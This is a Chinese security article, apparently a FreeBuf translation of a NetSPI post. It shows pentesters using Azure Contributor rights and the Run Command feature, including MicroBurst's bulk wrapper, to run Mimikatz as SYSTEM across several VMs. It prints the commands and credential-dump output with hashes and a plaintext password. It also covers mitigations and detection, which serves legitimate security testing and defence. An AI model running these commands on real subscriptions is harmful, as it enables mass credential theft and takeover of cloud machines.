前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >如何在Azure VMs中大规模运行PowerShell?

如何在Azure VMs中大规模运行PowerShell?

作者头像
FB客服
发布2018-12-28 10:54:50
8140
发布2018-12-28 10:54:50
举报
文章被收录于专栏:FreeBuf

前言

假设当前你正在进行某项渗透测试任务,其中Azure基础架构也包含在你的测试范围内,并且你恰好可以访问Azure订阅上一个具有“贡献者(Contributor)”权限的域帐户。虽说在实际场景中,贡献者权限并没有这么容易获取到。但在我的渗透测试工作中,我也经常看到贡献者权限会被分发给一些开发人员。如果你够幸运的话,一些管理员可能会添加域用户组作为订阅的贡献者。或者,我们也可以假设是从低权限用户一步步提升到贡献者帐户的。

此时,我们可以尝试收集可用凭据,转储配置数据,并尝试进一步的访问订阅中的其他帐户(所有者/域管理员)。出于本文的目的,让我们假设只读选项已被我们用尽,并且我们仍然被某个特权用户所困,该用户不允许我们转向其他订阅(或内部域)。

攻击虚拟机

针对虚拟机的攻击,我们可以做一些有影响力的测试并pull down VHD文件快照,但我想没人会愿意去下载100多GB的磁盘映像。让我们使用现有的工具尝试在VM上执行命令。在本示例环境中,假设没有任何的VM被公开,并且你也没有开放任何防火墙端口包括RDP或其他远程管理协议。

即使没有远程管理协议,我们也可以通过几种不同的方式在Azure环境中执行代码。你可以使用Azure Automation(自动化)在Azure VM上运行命令,但是本文我们将重点关注Invoke-AzureRmVMRunComman命令(AzureRM模块的一部分)。

该命令允许具有“Contributor”权限的任何人,在订阅中的任何Azure VM上以NT Authority\System权限运行PowerShell脚本。

运行单个命令

从PowerShell中的AzureRM会话运行此命令,该会话使用Contributor帐户进行身份验证。你可以使用Login-AzureRmAccount命令对Azure进行身份验证。

代码语言:javascript
复制
Invoke-AzureRmVMRunCommand -ResourceGroupName VMResourceGroupName -VMName VMName -CommandId RunPowerShellScript -ScriptPath PathToYourScript

参数分解:

ResourceGroupName – VM资源组 VMName – VM的名称 CommandId – 要在Azure中运行的存储类型的命令。 “RunPowerShellScript”允许我们上传和运行PowerShell脚本。 ScriptPath – 你要运行的PowerShell PS1文件的路径。

你可以使用Get-AzureRmVM命令获取VMName和ResourceGroupName。

代码语言:javascript
复制
PS C:\> Get-AzureRmVM -status | where {$_.PowerState -EQ "VM running"} | select ResourceGroupName,Name

ResourceGroupName    Name       
-----------------    ----       
TESTRESOURCES        Remote-Test

在这个例子中,我在Invoke-Mimikatz.ps1文件的末尾添加了一个额外行(Invoke-Mimikatz),以便在导入后运行该函数。以下是VM上的Invoke-Mimikatz.ps1脚本的运行示例(没有登录真实帐户)。

代码语言:javascript
复制
PS C:\> Invoke-AzureRmVMRunCommand -ResourceGroupName TESTRESOURCES -VMName Remote-Test -CommandId RunPowerShellScript -ScriptPath Mimikatz.ps1
Value[0]        : 
  Code          : ComponentStatus/StdOut/succeeded
  Level         : Info
  DisplayStatus : Provisioning succeeded
  Message       :   .#####.   mimikatz 2.0 alpha (x64) release "Kiwi en C" (Feb 16 2015 22:15:28) .## ^ ##.  
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)
  '#####'                                     with 15 modules * * */

mimikatz(powershell) # sekurlsa::logonpasswords

Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : NetSPI-Test
Domain            : WORKGROUP
SID               : S-1-5-20         
        msv :
         [00000003] Primary
         * Username : NetSPI-Test
         * Domain   : WORKGROUP
         * LM       : d0e9aee149655a6075e4540af1f22d3b
         * NTLM     : cc36cf7a8514893efccd332446158b1a
         * SHA1     : a299912f3dc7cf0023aef8e4361abfc03e9a8c30
        tspkg :
         * Username : NetSPI-Test
         * Domain   : WORKGROUP
         * Password : waza1234/ 
mimikatz(powershell) # exit 
Bye!   
Value[1] : Code : ComponentStatus/StdErr/succeeded 
Level : Info 
DisplayStatus : Provisioning succeeded 
Message : 
Status : Succeeded 
Capacity : 0 
Count : 0

运行多个命令

我已将Invoke-AzureRmVMBulkCMD添加到了MicroBurst,以允许针对订阅中的多个VM执行脚本。使用该命令,我们可以针对整个订阅,特定资源组或单个主机列表运行命令。

你可以在此处获取到MicroBurst - https://github.com/NetSPI/MicroBurst

在我的演示中,我将在我的测试订阅中对所有(5)个VM运行Mimikatz,并将脚本的输出写入到一个日志文件。

代码语言:javascript
复制
Import-module MicroBurst.psm1
代码语言:javascript
复制
Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
Executing Mimikatz.ps1 against all (5) VMs in the TestingResources Subscription
Are you Sure You Want To Proceed: (Y/n):
VERBOSE: Running .\Mimikatz.ps1 on the Remote-EastUS2 - (10.2.10.4 : 52.179.214.3) virtual machine (1 of 5)
VERBOSE: Script Status: Succeeded
VERBOSE: Script output written to Output.txt
VERBOSE: Script Execution Completed on Remote-EastUS2 - (10.2.10.4 : 52.179.214.3)
VERBOSE: Script Execution Completed in 99 seconds
VERBOSE: Running .\Mimikatz.ps1 on the Remote-EAsia - (10.2.9.4 : 65.52.161.96) virtual machine (2 of 5)
VERBOSE: Script Status: Succeeded
VERBOSE: Script output written to Output.txt
VERBOSE: Script Execution Completed on Remote-EAsia - (10.2.9.4 : 65.52.161.96)
VERBOSE: Script Execution Completed in 99 seconds
VERBOSE: Running .\Mimikatz.ps1 on the Remote-JapanE - (10.2.12.4 : 13.78.40.185) virtual machine (3 of 5)
VERBOSE: Script Status: Succeeded
VERBOSE: Script output written to Output.txt
VERBOSE: Script Execution Completed on Remote-JapanE - (10.2.12.4 : 13.78.40.185)
VERBOSE: Script Execution Completed in 69 seconds
VERBOSE: Running .\Mimikatz.ps1 on the Remote-JapanW - (10.2.13.4 : 40.74.66.153) virtual machine (4 of 5)
VERBOSE: Script Status: Succeeded
VERBOSE: Script output written to Output.txt
VERBOSE: Script Execution Completed on Remote-JapanW - (10.2.13.4 : 40.74.66.153)
VERBOSE: Script Execution Completed in 69 seconds
VERBOSE: Running .\Mimikatz.ps1 on the Remote-France - (10.2.11.4 : 40.89.130.206) virtual machine (5 of 5)
VERBOSE: Script Status: Succeeded
VERBOSE: Script output written to Output.txt
VERBOSE: Script Execution Completed on Remote-France - (10.2.11.4 : 40.89.130.206)
VERBOSE: Script Execution Completed in 98 seconds

在5个VM上运行Mimikatz的总时长为7分14秒。单从效率上看并不理想(见下文),但却很实用。由于时间的原因我并没有创建多线程,但如果有人愿意帮我完成,那么欢迎随时向我发送pull request。

其他想法

出于演示目的,我在所有VM上运行了Mimikatz。除此之外,你可能需要考虑其他的PowerShell选项:

Spawn Cobalt Strike,Empire 或 Metasploit sessions

搜索敏感文件

在一个VM上运行域信息收集脚本,并使用输出来定位其他特定VM以执行代码

性能问题

注意,以上操作均为在实验环境中完成。如果你选择在现实场景中使用,那么请记住一点:并非所有Azure区域或VM映像都是以相同的方式进行响应的。在我的测试当中我发现某些区域和VM会更适合运行这些命令,而在非美国的Azure区域则出现了命令无法执行使用等问题。

因此,在实际测试使用当中,你可能会遇到各种本文未提及的问题。但在大多数情况下,我对美国地区和标准的Windows Server 2012映像都很满意。在我的测试中,Invoke-Mimikatz.ps1脚本通常需要大约30-60秒才能运行。记住,每次执行都必须将脚本上传到VM。

缓解措施及检测

作为管理员应该正确分配所有者和贡献者的权限,因为丢失贡献者权限就相当于拿下所有虚拟机的系统权限。

想要减少贡献者执行这些命令的权限,请为你的贡献者创建一个新角色,并限制用户的Microsoft.Compute/virtualMachines/runCommand/action权限。

另外,你可以留意“Run Command on Virtual Machine”日志条目来发现该问题。你可以为此设置警报,除非Invoke-AzureRmVMRunCommand是VM管理过程中不可或缺的一部分,否则应该很容易被检测到当有人使用这个命令时。

以下设置将在任何人尝试使用该命令(成功或失败)时通知你。你还可以将该警报的范围扩展到订阅中的所有VM。

最后,如果你对该脚本有任何的疑问或改进建议,欢迎随时通过MicroBurst Github页面与我们取得联系!

*参考来源:netspi,FB小编secist编译,转载请注明来自FreeBuf.COM

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2018-12-23,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • 攻击虚拟机
  • 运行单个命令
  • 运行多个命令
  • 其他想法
  • 性能问题
  • 缓解措施及检测
相关产品与服务
数字身份管控平台
数字身份管控平台(Identity and Access Management)为您提供集中式的数字身份管控服务。在企业 IT 应用开发时,数字身份管控平台可为您集中管理用户账号、分配访问权限以及配置身份认证规则,避免因员工账号、授权分配不当导致的安全事故。在互联网应用开发时,数字身份管控平台可为您打通应用的身份数据,更好地实现用户画像,也可为用户提供便捷的身份认证体验,提升用户留存。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档